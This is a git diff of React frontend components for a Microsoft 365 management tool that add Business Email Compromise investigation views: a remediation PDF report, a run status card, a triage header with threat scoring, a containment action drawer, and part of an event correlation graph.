+ + The immediate, evidence-specific actions for this account are + listed under Priority Remediation Actions in the + executive summary at the front of this report, most urgent + first, and should be carried out by your IT or security team + without delay. The strategies below reduce the chance of a + repeat once the account has been recovered. + +
-
- - This report supports compliance and documentation requirements for various security - frameworks and regulatory standards: - +
+ + To prevent future Business Email Compromise attacks, implement + these security best practices: + - - Demonstrates incident - detection, analysis, and response procedures (Controls A.16.1.1 - A.16.1.7). - - Provides evidence of - security incident monitoring, analysis, and documentation (AC.L2-3.1.12, - AU.L2-3.3.1). - - Documents detective and - responsive controls for security incidents (CC7.3, CC7.4). - - Aligns with Detect (DE.AE, - DE.CM) and Respond (RS.AN, RS.MI) functions. - - Demonstrates security breach - detection and potential data breach assessment (Articles 32, 33). - - -
+ + + {' '} + Require MFA for all users, especially those with + administrative privileges or access to financial systems. + + + {' '} + Educate employees about phishing, social engineering, and how + to identify suspicious emails. Regular training significantly + reduces successful attacks. + + + {' '} + Use email security solutions that detect and block phishing, + malware, and suspicious attachments. + + + {' '} + Restrict access based on location, device compliance, and risk + level to prevent unauthorized sign-ins. + + + {' '} + Regularly review audit logs for suspicious activities such as + unusual sign-in patterns, rule creation, or permission + changes. + + + {' '} + Implement multi-person approval processes for wire transfers + and payment changes to prevent fraudulent transactions. + + +
+ +
+ + Share these key points with the affected user to help prevent + future compromises: + -
- - This investigation and resulting documentation provide an audit trail for security - incident response: - + + + Never click on links or open attachments in unexpected emails, + even if they appear to come from known contacts. + + + Always verify unusual requests for money transfers or + sensitive information through a separate communication channel + (phone call, in person). + + + Use strong, unique passwords for each account and consider + using a password manager. + + + Be cautious when authorizing new applications or granting + permissions to third-party services. + + + Report suspicious emails or activities to your IT security + team immediately. + + +
+ + + {/* COMPLIANCE & DOCUMENTATION PAGE */} + +
+ + This report supports compliance and documentation requirements + for various security frameworks and regulatory standards: + - - Investigation Date: {formatDate(becData?.ExtractedAt)} - {'\n'} - Analyzed User: {userData?.userPrincipalName} - {'\n'} - Organization: {tenantName} - {'\n'} - Analysis Period: 7 days - {'\n'} - Assigned Usage Location: {locationAnalysis?.UsageLocation || 'Not assigned'} - {'\n'} - Audit Log Status: {becData?.ExtractResult || 'Unknown'} - + + + {' '} + Demonstrates incident detection, analysis, and response + procedures (Controls A.16.1.1 - A.16.1.7). + + + {' '} + Provides evidence of security incident monitoring, analysis, + and documentation (AC.L2-3.1.12, AU.L2-3.3.1). + + + {' '} + Documents detective and responsive controls for security + incidents (CC7.3, CC7.4). + + + {' '} + Aligns with Detect (DE.AE, DE.CM) and Respond (RS.AN, RS.MI) + functions. + + + {' '} + Demonstrates security breach detection and potential data + breach assessment (Articles 32, 33). + + +
+ +
+ + This investigation and resulting documentation provide an audit + trail for security incident response: + - - Threat Level: {threatLevel.level} - {'\n'} - Mailbox Rules Found: {stats.newRules} - {'\n'} - Rule Changes: {stats.ruleChanges} - {'\n'} - Permission Changes: {stats.permissionChanges} ({stats.permissionChangesTargetingUser}{' '} - targeting this mailbox) - {'\n'} - New Applications: {stats.newApps} - {'\n'} - Known-Malicious Applications: {stats.maliciousApps} - {'\n'} - New Users: {stats.newUsers} - {'\n'} - Sent Messages: {stats.sentTotalMessages || stats.sentMessages} - {'\n'} - Repeated Subject Campaigns: {stats.repeatedSubjects} - {'\n'} - Send Bursts: {stats.sendBursts} - {'\n'} - MFA Devices: {stats.mfaDevices} - {'\n'} - Recent MFA Registrations (7d): {stats.recentMfaDevices} - {'\n'} - Password Changes: {stats.passwordChanges} - {'\n'} - Trusted Senders: {stats.trustedSenders} - {'\n'} - Blocked Senders: {stats.blockedSenders} - {'\n'} - Safelist Changes: {stats.safelistChanges} - {'\n'} - Sharing Changes: {stats.sharingChanges} - {'\n'} - Anonymous Links: {stats.anonymousLinks} - {'\n'} - Intune Devices: {stats.intuneDevices} - {'\n'} - Recent Intune Enrollments (7d): {stats.recentIntuneDevices} - {'\n'} - Foreign Sign-ins: {stats.foreignSignIns} ({stats.foreignSuccessfulSignIns} successful) - {'\n'} - Foreign Rule/Safelist/Sharing/Mail Activity: {stats.foreignActivity} - -
+ + Investigation Date: {formatDate(becData?.ExtractedAt)} + {'\n'} + Analyzed User: {userData?.userPrincipalName} + {'\n'} + Organization: {tenantName} + {'\n'} + Analysis Period: 7 days + {'\n'} + Assigned Usage Location:{' '} + {locationAnalysis?.UsageLocation || 'Not assigned'} + {'\n'} + Audit Log Status: {becData?.ExtractResult || 'Unknown'} + -
- - This report should be retained according to your organization's document retention - policy and regulatory requirements. Typical retention periods range from 3-7 years - depending on applicable compliance frameworks. Store this document securely with - restricted access as it contains sensitive security information. - -
+ + Threat Level: {threatLevel.level} + {'\n'} + Mailbox Rules Found: {stats.newRules} + {'\n'} + Rule Changes: {stats.ruleChanges} + {'\n'} + Permission Changes: {stats.permissionChanges} ( + {stats.permissionChangesTargetingUser} targeting this mailbox) + {'\n'} + New Applications: {stats.newApps} + {'\n'} + Known-Malicious Applications: {stats.maliciousApps} + {'\n'} + New Users: {stats.newUsers} + {'\n'} + Sent Messages: {stats.sentTotalMessages || stats.sentMessages} + {'\n'} + Repeated Subject Campaigns: {stats.repeatedSubjects} + {'\n'} + Send Bursts: {stats.sendBursts} + {'\n'} + MFA Devices: {stats.mfaDevices} + {'\n'} + Recent MFA Registrations (7d): {stats.recentMfaDevices} + {'\n'} + Password Changes: {stats.passwordChanges} + {'\n'} + Trusted Senders: {stats.trustedSenders} + {'\n'} + Blocked Senders: {stats.blockedSenders} + {'\n'} + Safelist Changes: {stats.safelistChanges} + {'\n'} + Sharing Changes: {stats.sharingChanges} + {'\n'} + Anonymous Links: {stats.anonymousLinks} + {'\n'} + Intune Devices: {stats.intuneDevices} + {'\n'} + Recent Intune Enrollments (7d): {stats.recentIntuneDevices} + {'\n'} + Foreign Sign-ins: {stats.foreignSignIns} ( + {stats.foreignSuccessfulSignIns} successful) + {'\n'} + Foreign Rule/Safelist/Sharing/Mail Activity:{' '} + {stats.foreignActivity} + +
+ +
+ + This report should be retained according to your organization's + document retention policy and regulatory requirements. Typical + retention periods range from 3-7 years depending on applicable + compliance frameworks. Store this document securely with + restricted access as it contains sensitive security information. + +
-
- - For more information about Business Email Compromise and cybersecurity best practices: - +
+ + For more information about Business Email Compromise and + cybersecurity best practices: + - - - FBI IC3: Internet Crime Complaint Center (ic3.gov) - - - CISA: Cybersecurity & Infrastructure Security Agency (cisa.gov) - - - Microsoft Security: Business Email Compromise resources - - -
- + + + FBI IC3: Internet Crime Complaint Center (ic3.gov) + + + CISA: Cybersecurity & Infrastructure Security Agency + (cisa.gov) + + + Microsoft Security: Business Email Compromise resources + + +
+
+ + )} ) } // Main Button Component -export const BECRemediationReportButton = ({ userData, becData, tenantName }) => { +export const BECRemediationReportButton = ({ + userData, + becData, + tenantName, +}) => { const [dialogOpen, setDialogOpen] = useState(false) const [isGenerating, setIsGenerating] = useState(false) + // 'full' = the complete report; 'summary' = the executive pages only, for a C-suite reader. + const [variant, setVariant] = useState('full') // Check if we have the necessary data const hasData = userData && becData && !becData.Waiting @@ -1235,6 +2504,7 @@ export const BECRemediationReportButton = ({ userData, becData, tenantName }) => <> brandingSettings={brandingSettings} tenantName={tenantName} variables={variables} + variant={variant} /> } - fileName={`BEC_Report_${userData?.userPrincipalName}_${new Date().toISOString().split('T')[0]}.pdf`} + fileName={`BEC_${variant === 'summary' ? 'Summary' : 'Report'}_${userData?.userPrincipalName}_${new Date().toISOString().split('T')[0]}.pdf`} style={{ textDecoration: 'none' }} > {({ loading }) => ( )} - ); -} \ No newline at end of file + ) +} diff --git a/frontend/src/components/CippCards/CippBecRunStatusCard.jsx b/frontend/src/components/CippCards/CippBecRunStatusCard.jsx new file mode 100644 index 0000000000..ea30505b63 --- /dev/null +++ b/frontend/src/components/CippCards/CippBecRunStatusCard.jsx @@ -0,0 +1,344 @@ +import { + Alert, + Button, + Chip, + CircularProgress, + LinearProgress, + Stack, + SvgIcon, + Typography, +} from '@mui/material' +import { Box } from '@mui/system' +import { CippIcons } from '../../utils/icon-registry' +import ReactTimeAgo from 'react-time-ago' +import CippButtonCard from './CippButtonCard' +import { CippJobProgress } from '../CippComponents/CippJobProgress' +import { CippBecContainmentDrawer } from '../CippComponents/CippBecContainmentDrawer' +import { PropertyList } from '../property-list' +import { PropertyListItem } from '../property-list-item' + +const levelColor = (level) => + level === 'High' + ? 'error' + : level === 'Medium' + ? 'warning' + : level === 'Low' + ? 'success' + : 'default' + +const toDate = (value) => { + if (!value) return null + const date = new Date(value) + return Number.isNaN(date.getTime()) ? null : date +} + +/** + * The investigation's status card: what the page is showing and what is happening to it. + * state: loading | none | waiting | error | completed + * - none: the user has no run yet; nothing starts until the button is pressed + * - waiting: a run is queued (no worker has picked it up) or running (live steps from the + * async-deployment job, the same progress rows the SharePoint deploy uses) + * - error: the run failed; the failed phase is shown + * - completed: a summary of the run on screen + * The header carries only the title and the state chips; the buttons live in the footer so a + * long UPN never fights the actions for space. + */ +export const CippBecRunStatusCard = ({ + userPrincipalName, + userId, + tenantFilter, + state, + caseId, + scope, + poll, + becData, + onStart, + startPending = false, + windowDays = 7, +}) => { + const progress = poll?.Progress + const steps = Array.isArray(progress?.Steps) ? progress.Steps : [] + const doneCount = steps.filter((step) => step.Status === 'succeeded').length + const runningStep = steps.find((step) => step.Status === 'running') + const failedStep = steps.find((step) => step.Status === 'failed') + const jobQueued = + state === 'waiting' && (!progress || progress.Status === 'queued') + const requestedAt = toDate(poll?.RequestedAt ?? becData?.Run?.RequestedAt) + const startedAt = toDate(poll?.StartedAt) + const busy = state === 'waiting' || state === 'loading' || startPending + const run = becData?.Run + const completeness = becData?.Completeness || {} + const markers = Object.values(completeness).filter(Boolean) + const incomplete = markers.filter((marker) => marker.Complete === false) + const extractedAt = toDate(run?.ExtractedAt ?? becData?.ExtractedAt) + const evidenceAt = toDate(run?.EvidenceCreatedAt) + + let statusChip = null + if (state === 'loading') { + statusChip = + } else if (state === 'none') { + statusChip = + } else if (state === 'waiting') { + statusChip = jobQueued ? ( + } + label="Queued - waiting for a worker" + /> + ) : ( + + ) + } else if (state === 'error') { + statusChip = + } else if (state === 'completed') { + statusChip = becData?.Score ? ( + + ) : ( + + ) + } + + const startButton = ( + + ) + + return ( + + + Business Email Compromise + + {userPrincipalName} + + + + {statusChip} + {scope === 'Quick' && ( + + )} + {caseId && ( + + )} + + + } + CardButton={ + + {startButton} + {state === 'completed' && ( + + )} + + } + isFetching={false} + > + {state === 'loading' && ( + + + + Loading the user's runs... + + + )} + + {state === 'none' && ( + + + No investigation has been run for this user yet. Nothing is + collected until you start one; every run is kept as a case you can + return to, report on and export evidence from. + + + The investigation reads the last {windowDays} days of audit records, + sign-ins, permissions, rules, consents, devices and trace headers + across 21 checks. It collects metadata only - never message content + - and usually takes a few minutes. + + + )} + + {state === 'waiting' && ( + + {jobQueued ? ( + + The run is queued and waits for a background worker to pick it up + {requestedAt && ( + <> + {' '} + (requested ) + + )} + . Busy instances can hold it for a few minutes; the steps below + start moving as soon as a worker takes it. + + ) : ( + + {runningStep + ? `${runningStep.Title}: ${runningStep.Message || 'in progress'}` + : 'The worker has picked the run up.'} + {startedAt && ( + <> + {' '} + Started . + + )}{' '} + A run usually finishes within a few minutes; a tenant with a lot + of audit data can take up to ten. + + )} + 0 && !jobQueued ? 'determinate' : 'indeterminate' + } + value={ + steps.length > 0 + ? Math.round((doneCount / steps.length) * 100) + : 0 + } + /> + {progress ? ( + + ) : ( + + Waiting for the first status update... + + )} + + )} + + {state === 'error' && ( + + + {poll?.Error || 'The run failed.'} + {failedStep && ` Failed during: ${failedStep.Title}.`} + + {progress && } + + The failure is recorded in the logbook with the case id. Start a new + run once the cause is fixed; the failed run stays in the history. + + + )} + + {state === 'completed' && ( + + + Use the findings below as a guide to whether the mailbox has been + compromised. Everything was read from the last {windowDays} days and + is metadata only: audit records, sign-ins, permissions, rules and + trace headers - never message content. + + + + ( + {extractedAt.toLocaleString()}) + + ) : ( + 'unknown' + ) + } + /> + + 0 + ? `${markers.length - incomplete.length} of ${markers.length} complete${ + incomplete.length > 0 + ? `, ${incomplete.length} partial or failed` + : '' + }` + : 'no completeness data' + } + /> + 0 + ? `${run.Containment.length} run(s) recorded on this case` + : 'not run on this case' + } + /> + + exported {evidenceAt && }{' '} + + {run.EvidenceSha256.slice(0, 12)}... + + + ) : ( + 'not exported' + ) + } + /> + + + Contain user opens the containment drawer: pick any + combination of the classic six steps and the targeted actions the + findings support; critical actions need the UPN typed to confirm. + + + )} + + ) +} + +export default CippBecRunStatusCard diff --git a/frontend/src/components/CippCards/CippBecTriageHeader.jsx b/frontend/src/components/CippCards/CippBecTriageHeader.jsx new file mode 100644 index 0000000000..58507f0261 --- /dev/null +++ b/frontend/src/components/CippCards/CippBecTriageHeader.jsx @@ -0,0 +1,297 @@ +import { useMemo } from 'react' +import { Box, Stack, Grid } from '@mui/system' +import { Button, Chip, SvgIcon, Typography } from '@mui/material' +import { alpha } from '@mui/material/styles' +import { CippIcons } from '../../utils/icon-registry' +import CippButtonCard from './CippButtonCard' +import { BECRemediationReportButton } from '../BECRemediationReportButton' +import { CippBecContainmentDrawer } from '../CippComponents/CippBecContainmentDrawer' +import { CippBecEvidenceExportButton } from '../CippComponents/CippBecEvidenceExportButton' +import { + becLevelColor, + BEC_SIGNAL_GROUP, + becSkippedChecks, +} from '../../utils/bec-objectives' + +// The completed-case triage header: the verdict, why it fired, and what to do — before any +// evidence. The score's own Breakdown is the spine: each applied signal is a row you can click +// to land on the objective group that produced it. +export const CippBecTriageHeader = ({ + userData, + becData, + tenantFilter, + caseId, + onStartNew, + startPending = false, + onJumpToGroup, + // When the user has more than one run, the case page passes the case switcher here so it takes the + // header's title spot (in place of the static name/case); otherwise the name and case id show. + caseSelector, +}) => { + const score = becData?.Score + const applied = useMemo( + () => + [...(score?.Breakdown || [])] + .filter((s) => s.Applied) + .sort((a, b) => (b.Weight || 0) - (a.Weight || 0)), + [score] + ) + + // What the findings justify beyond the six default containment steps — shown so the analyst + // knows the drawer will have targets waiting, not to replace the drawer's own selection. + const extras = useMemo(() => { + if (!becData) return [] + const d = (arr, pred) => (arr || []).filter(pred).length + return [ + { n: d(becData.NewRules, () => true), label: 'suspicious inbox rule' }, + { + n: d(becData.Delegations, (x) => x.Flagged), + label: 'flagged delegation', + }, + { n: d(becData.UserGrants, (x) => x.Flagged), label: 'risky consent' }, + { + n: d(becData.TransportRuleChanges, (x) => x.Flagged), + label: 'risky transport-rule change', + }, + { + n: d(becData.MailboxAddIns, (x) => x.Flagged), + label: 'flagged add-in', + }, + { + n: d(becData.RegisteredDevices, (x) => x.RegisteredInWindow), + label: 'new registered device', + }, + ].filter((x) => x.n > 0) + }, [becData]) + + const upn = userData?.userPrincipalName + // becLevelColor can return 'default' (no score); keep a real palette color for the tint/text. + const lvl = becLevelColor(score?.Level) + const lvlColor = ['error', 'warning', 'success'].includes(lvl) + ? lvl + : 'primary' + // Checks that couldn't run (missing licence/permission) — surfaced so the score isn't read as a + // clean bill of health when evidence was simply unavailable. + const skipped = becData ? becSkippedChecks(becData) : [] + + return ( + + + {caseSelector ? ( + {caseSelector} + ) : ( + <> + + {userData?.displayName || upn} + + {caseId && ( + + )} + + )} + {score && ( + + )} + + + } + CardButton={ + // One row of same-size actions. The evidence-export button shows its result (and the ZIP SHA) + // in a popover anchored to itself rather than an inline panel, so it sits here beside the others + // without stretching the row. + + + {becData && ( + + )} + {becData && ( + + )} + {becData && caseId && ( + + )} + + } + > + + + alpha(theme.palette[lvlColor].main, 0.12), + }} + > + + threat score + + + {score?.Value ?? '—'} + + + {score?.Level} + + + High ≥ {score?.Thresholds?.High} · Medium ≥{' '} + {score?.Thresholds?.Medium} + + + + + + + Why — {applied.length} of {score?.Breakdown?.length || 0} signals + fired. A score is a prompt to look, not a verdict; click a signal + for its evidence. + + + {applied.length === 0 && ( + + No scoring signals fired. Review the evidence below to confirm. + + )} + {applied.map((s) => ( + onJumpToGroup?.(BEC_SIGNAL_GROUP[s.Signal])} + sx={{ + cursor: BEC_SIGNAL_GROUP[s.Signal] ? 'pointer' : 'default', + borderRadius: 1, + px: 0.5, + '&:hover': { bgcolor: 'action.hover' }, + }} + > + = 4 ? 'error' : 'warning'} + label={`+${s.Weight}`} + sx={{ minWidth: 44 }} + /> + + {s.Description} + + + {s.Count} + + + ))} + + {skipped.length > 0 && ( + + {skipped.length} check{skipped.length > 1 ? 's' : ''} could not + run (missing a licence, permission, mailbox or service) — the + score may be understated. + + )} + + + + + Recommended containment + + + Reset password, revoke sessions, re-require MFA and disable inbox + rules are pre-selected in the drawer. + + {extras.length > 0 && ( + + {extras.map((x) => ( + + + + + + {x.n} {x.label} + {x.n > 1 ? 's' : ''} + + + ))} + + )} + + + + ) +} + +export default CippBecTriageHeader diff --git a/frontend/src/components/CippComponents/CippBecContainmentDrawer.jsx b/frontend/src/components/CippComponents/CippBecContainmentDrawer.jsx new file mode 100644 index 0000000000..957f9d8376 --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecContainmentDrawer.jsx @@ -0,0 +1,477 @@ +import { useEffect, useMemo, useState } from 'react' +import { useForm, useWatch } from 'react-hook-form' +import { + Alert, + Box, + Button, + Chip, + Divider, + Grid, + Stack, + Typography, +} from '@mui/material' +import { CippIcons } from '../../utils/icon-registry' +import { ApiGetCall, ApiPostCall } from '../../api/ApiCall' +import { CippOffCanvas } from './CippOffCanvas' +import CippFormComponent from './CippFormComponent' +import { CippApiResults } from './CippApiResults' + +const impactColor = (impact) => + impact === 'Critical' + ? 'error' + : impact === 'High' + ? 'warning' + : impact === 'Medium' + ? 'info' + : 'default' + +const IMPACT_ORDER = ['Critical', 'High', 'Medium', 'Low'] + +/** + * Selectable BEC containment. Every action in the catalog is a switch grouped by impact; the + * actions that take targets get a picker fed from the run's findings (flagged items preselected). + * A Critical action needs the user's UPN typed before the run button enables. + */ +export const CippBecContainmentDrawer = ({ + userPrincipalName, + userId, + tenantFilter, + caseId, + becData, + buttonText = 'Contain user', + disabled = false, + relatedQueryKeys = [], +}) => { + const [visible, setVisible] = useState(false) + const catalogCall = ApiGetCall({ + url: '/api/ListBECRemediationActions', + queryKey: 'ListBECRemediationActions', + }) + const catalog = useMemo( + () => catalogCall.data?.Actions || [], + [catalogCall.data] + ) + + const formControl = useForm({ + mode: 'onChange', + defaultValues: { actions: {}, Confirmation: '' }, + }) + const watched = useWatch({ control: formControl.control }) + + // Default selection: the catalog's default set, plus the targeted actions that have flagged findings + useEffect(() => { + if (!catalog.length) return + const actions = {} + catalog.forEach((action) => { + actions[action.Id] = !!action.DefaultSelected + }) + formControl.reset({ + actions, + Confirmation: '', + MfaMethodIds: [], + GrantIds: (becData?.UserGrants || []) + .filter((g) => g.Flagged) + .map((g) => ({ + label: `${g.ClientDisplayName || g.ClientAppId} (${g.Type})`, + value: `${g.Type}|${g.Id}`, + })), + ServicePrincipalIds: [], + RuleIds: [], + Delegations: (becData?.Delegations || []) + .map((d, index) => ({ ...d, index })) + .filter((d) => d.Flagged) + .map((d) => ({ + label: `${d.PermissionType}: ${d.Trustee} (${d.Resource})`, + value: String(d.index), + })), + TransportRuleIds: (becData?.TransportRulesFlagged || []) + .filter((r) => r.ChangedInWindow) + .map((r) => ({ label: r.Name, value: r.Guid || r.Identity || r.Name })), + AddInIds: (becData?.MailboxAddIns || []) + .filter((a) => a.Flagged) + .map((a) => ({ label: a.DisplayName, value: a.Identity || a.AppId })), + Protocols: ['EWS', 'IMAP', 'POP', 'ActiveSync'].map((p) => ({ + label: p, + value: p, + })), + MobileDeviceIds: [], + RegisteredDeviceIds: (becData?.RegisteredDevices || []) + .filter((d) => d.RegisteredInWindow) + .map((d) => ({ + label: `${d.displayName || d.deviceId} (${d.operatingSystem || 'unknown OS'})`, + value: d.id, + })), + BlockSenders: Array.from( + new Set( + (becData?.ReceivedMailFindings || []) + .map((f) => f.SenderAddress) + .filter(Boolean) + ) + ).map((s) => ({ label: s, value: s })), + SharingLinkUrls: Array.from( + new Map( + (becData?.SharingChanges || []) + .filter((c) => c.ItemUrl) + .map((c) => [ + c.ItemUrl, + { label: c.FileName || c.ItemUrl, value: c.ItemUrl }, + ]) + ).values() + ), + CAState: { label: 'Enabled', value: 'enabled' }, + CAControls: { label: 'Require MFA', value: 'mfa' }, + CAExpiresHours: 24, + }) + }, [catalog, becData, visible]) + + const selectedIds = useMemo( + () => catalog.filter((a) => watched?.actions?.[a.Id]).map((a) => a.Id), + [catalog, watched?.actions] + ) + const criticalSelected = useMemo( + () => + catalog.filter( + (a) => selectedIds.includes(a.Id) && a.Impact === 'Critical' + ), + [catalog, selectedIds] + ) + const confirmationOk = + criticalSelected.length === 0 || + (watched?.Confirmation || '').trim().toLowerCase() === + (userPrincipalName || '').trim().toLowerCase() + + const runCall = ApiPostCall({ + relatedQueryKeys: [`execBECCheck-polling-${caseId}`, ...relatedQueryKeys], + }) + + const values = (field) => + (watched?.[field] || []).map((o) => + o && o.value !== undefined ? o.value : o + ) + + const buildPayload = () => { + const grantValues = values('GrantIds') + const delegationIndexes = values('Delegations') + return { + tenantFilter, + userid: userId, + username: userPrincipalName, + CaseId: caseId, + Confirmation: watched?.Confirmation || '', + Actions: selectedIds, + Parameters: { + MfaMethodIds: values('MfaMethodIds'), + GrantIds: grantValues + .filter((v) => String(v).startsWith('DelegatedGrant|')) + .map((v) => String(v).split('|')[1]), + AppRoleAssignmentIds: grantValues + .filter((v) => String(v).startsWith('AppRoleAssignment|')) + .map((v) => String(v).split('|')[1]), + ServicePrincipalIds: values('ServicePrincipalIds'), + RuleIds: values('RuleIds'), + Delegations: delegationIndexes + .map((i) => (becData?.Delegations || [])[Number(i)]) + .filter(Boolean), + TransportRuleIds: values('TransportRuleIds'), + AddInIds: values('AddInIds'), + Protocols: values('Protocols'), + MobileDeviceIds: values('MobileDeviceIds'), + RegisteredDeviceIds: values('RegisteredDeviceIds'), + BlockSenders: values('BlockSenders'), + SharingLinkUrls: values('SharingLinkUrls'), + CAPolicy: { + State: watched?.CAState?.value || 'enabled', + Controls: watched?.CAControls?.value || 'mfa', + ExpiresHours: Number(watched?.CAExpiresHours) || 24, + }, + }, + } + } + + const handleRun = () => { + runCall.mutate({ url: '/api/ExecBECRemediate', data: buildPayload() }) + } + + const options = { + MfaMethodIds: (becData?.MFADevices || []).map((m) => ({ + label: + `${(m['@odata.type'] || '').replace('#microsoft.graph.', '').replace('AuthenticationMethod', '')} ${m.displayName || ''}`.trim(), + value: m.id, + })), + GrantIds: (becData?.UserGrants || []).map((g) => ({ + label: `${g.ClientDisplayName || g.ClientAppId} (${g.Type}${g.Flagged ? ', flagged' : ''})`, + value: `${g.Type}|${g.Id}`, + })), + ServicePrincipalIds: Array.from( + new Map( + (becData?.UserGrants || []) + .filter( + (g) => g.Risk === 'CatalogMatch' && g.ClientServicePrincipalId + ) + .map((g) => [ + g.ClientServicePrincipalId, + { + label: g.ClientDisplayName || g.ClientServicePrincipalId, + value: g.ClientServicePrincipalId, + }, + ]) + ).values() + ), + RuleIds: (becData?.NewRules || []).map((r) => ({ + label: r.Name, + value: r.Identity || r.Name, + })), + Delegations: (becData?.Delegations || []).map((d, index) => ({ + label: `${d.PermissionType}: ${d.Trustee} (${d.Resource})${d.Flagged ? ' - flagged' : ''}`, + value: String(index), + })), + TransportRuleIds: (becData?.TransportRulesFlagged || []).map((r) => ({ + label: `${r.Name}${r.ChangedInWindow ? ' - changed in window' : ''}`, + value: r.Guid || r.Identity || r.Name, + })), + AddInIds: (becData?.MailboxAddIns || []).map((a) => ({ + label: `${a.DisplayName} (${a.ProviderName || 'unknown provider'})`, + value: a.Identity || a.AppId, + })), + Protocols: [ + 'EWS', + 'IMAP', + 'POP', + 'ActiveSync', + 'OWA', + 'MAPI', + 'ECP', + 'SmtpAuth', + ].map((p) => ({ label: p, value: p })), + MobileDeviceIds: (becData?.SuspectUserDevices || []).map((d) => ({ + label: `${d.DeviceModel || d.DeviceType || 'device'} (${d.DeviceID})`, + value: d.DeviceID, + })), + RegisteredDeviceIds: (becData?.RegisteredDevices || []).map((d) => ({ + label: `${d.displayName || d.deviceId} (${d.operatingSystem || 'unknown OS'}${d.RegisteredInWindow ? ', registered in window' : ''})`, + value: d.id, + })), + BlockSenders: Array.from( + new Set( + (becData?.ReceivedMailFindings || []) + .map((f) => f.SenderAddress) + .filter(Boolean) + ) + ).map((s) => ({ label: s, value: s })), + SharingLinkUrls: Array.from( + new Map( + (becData?.SharingChanges || []) + .filter((c) => c.ItemUrl) + .map((c) => [ + c.ItemUrl, + { label: c.FileName || c.ItemUrl, value: c.ItemUrl }, + ]) + ).values() + ), + } + + const pickerFor = (action) => { + const name = { + RemoveMFA: 'MfaMethodIds', + RemoveOAuthGrants: 'GrantIds', + DisableServicePrincipals: 'ServicePrincipalIds', + DisableInboxRules: 'RuleIds', + RemoveDelegations: 'Delegations', + DisableTransportRules: 'TransportRuleIds', + DisableMailboxAddIns: 'AddInIds', + BlockProtocols: 'Protocols', + BlockMobileDevices: 'MobileDeviceIds', + RemoveMobileDevices: 'MobileDeviceIds', + DisableRegisteredDevices: 'RegisteredDeviceIds', + RemoveRegisteredDevices: 'RegisteredDeviceIds', + BlockSenders: 'BlockSenders', + RemoveSharingLinks: 'SharingLinkUrls', + }[action.Id] + if (action.Id === 'TargetedCAPolicy') { + return ( + + + + + + + + + + + + ) + } + if (!name) return null + const available = options[name] || [] + if (available.length === 0 && name !== 'Protocols') { + return ( + + {becData?.Scope === 'Full' || + ['MfaMethodIds', 'RuleIds', 'MobileDeviceIds'].includes(name) + ? 'Nothing of this kind was found in the run; nothing will be changed.' + : 'Targets come from the full analysis; run it to pick them, or the action does nothing.'} + + ) + } + return ( + + + + ) + } + + return ( + <> + + setVisible(false)} + size="xl" + footer={ + + + + + + + } + > + + + Pick the actions and their targets, then run. Targets default to the + flagged findings of the{' '} + {caseId ? `run (case ${caseId})` : 'live tenant'}. Actions marked + Critical need the user's UPN typed below before they run. + + {catalogCall.isLoading && ( + Loading actions... + )} + {IMPACT_ORDER.map((impact) => { + const group = catalog.filter((a) => a.Impact === impact) + if (group.length === 0) return null + return ( + + + {impact} + + + + {group.map((action) => ( + + + + {action.Description} + + {watched?.actions?.[action.Id] && ( + {pickerFor(action)} + )} + + ))} + + + + ) + })} + {criticalSelected.length > 0 && ( + + + Critical actions selected:{' '} + {criticalSelected.map((a) => a.Label).join(', ')}. Type{' '} + {userPrincipalName} to confirm. + + + (value || '').trim().toLowerCase() === + (userPrincipalName || '').trim().toLowerCase() || + `Must match ${userPrincipalName}`, + }} + /> + + )} + + + + ) +} + +export default CippBecContainmentDrawer diff --git a/frontend/src/components/CippComponents/CippBecCorrelationGraph.jsx b/frontend/src/components/CippComponents/CippBecCorrelationGraph.jsx new file mode 100644 index 0000000000..afcf994eee --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecCorrelationGraph.jsx @@ -0,0 +1,486 @@ +import { useMemo } from 'react' +import { Box, Chip, Stack, Tooltip, Typography } from '@mui/material' +import { alpha, useTheme } from '@mui/material/styles' +import { + buildBecCorrelationGraph, + BEC_OBJECTIVE_COLOR, + BEC_OBJECTIVE_LABEL, +} from '../../utils/bec-timeline' + +const fmt = (ts) => + new Date(ts).toLocaleString(undefined, { + month: 'short', + day: 'numeric', + hour: '2-digit', + minute: '2-digit', + }) + +// Column geometry. Four left-to-right lanes: the compromised account, the source IPs it acted from, +// the events from each source, and the other accounts those events reached. +const ACCOUNT_W = 176 +const ACCOUNT_H = 56 +const HUB_W = 184 +const HUB_H = 60 +const EVENT_W = 250 +const EVENT_H = 80 +const TARGET_W = 184 +const TARGET_H = 52 +const ACCOUNT_X = 8 +const HUB_X = 252 +const EVENT_X = 524 +const TARGET_X = 856 +const ROW = EVENT_H + 20 +const CLUSTER_GAP = 28 +const PAD = 24 + +// A horizontal cubic-bezier from one node's right edge to the next node's left edge. +const edgePath = (x1, y1, x2, y2) => { + const dx = Math.max((x2 - x1) * 0.5, 24) + return `M ${x1} ${y1} C ${x1 + dx} ${y1}, ${x2 - dx} ${y2}, ${x2} ${y2}` +} + +const oneLine = { + overflow: 'hidden', + textOverflow: 'ellipsis', + whiteSpace: 'nowrap', +} + +// The non-linear view, drawn natively (SVG edges + themed HTML nodes — no graph library). It reads the +// same correlated events as the timeline but groups them by where they came from and who they reached, +// so lateral movement onto other accounts is visible as edges, not buried in a list. +export const CippBecCorrelationGraph = ({ + becData, + windowDays = 7, + userData, +}) => { + const theme = useTheme() + + const { nodes, edges, width, height, hasData } = useMemo(() => { + const graph = buildBecCorrelationGraph( + becData, + windowDays, + userData?.userPrincipalName + ) + const accountName = userData?.userPrincipalName || graph.account + const clusters = [ + ...graph.hubs, + ...(graph.orphans.length > 0 + ? [{ ip: null, location: null, foreign: false, events: graph.orphans }] + : []), + ] + if (clusters.length === 0) { + return { nodes: [], edges: [], width: 0, height: 0, hasData: false } + } + + const startId = graph.startOfCompromise?.id + const nodeList = [] + const edgeList = [] + const eventCentre = new Map() + + const neutralStroke = alpha(theme.palette.text.primary, 0.22) + const targetStroke = alpha(theme.palette.text.primary, 0.3) + + // Place each source's events in a vertical block; the hub centres on its block. A running cursor + // stacks the blocks top to bottom so nothing overlaps. + let cursorY = PAD + clusters.forEach((cluster, hubIndex) => { + const hubId = `hub-${hubIndex}` + const count = cluster.events.length + const blockTop = cursorY + cluster.events.forEach((event, eventIndex) => { + eventCentre.set(event.id, blockTop + eventIndex * ROW + EVENT_H / 2) + }) + const hubCentre = blockTop + ((count - 1) * ROW + EVENT_H) / 2 + const hubColour = cluster.ip + ? cluster.foreign + ? theme.palette.error.main + : theme.palette.text.secondary + : theme.palette.text.disabled + + 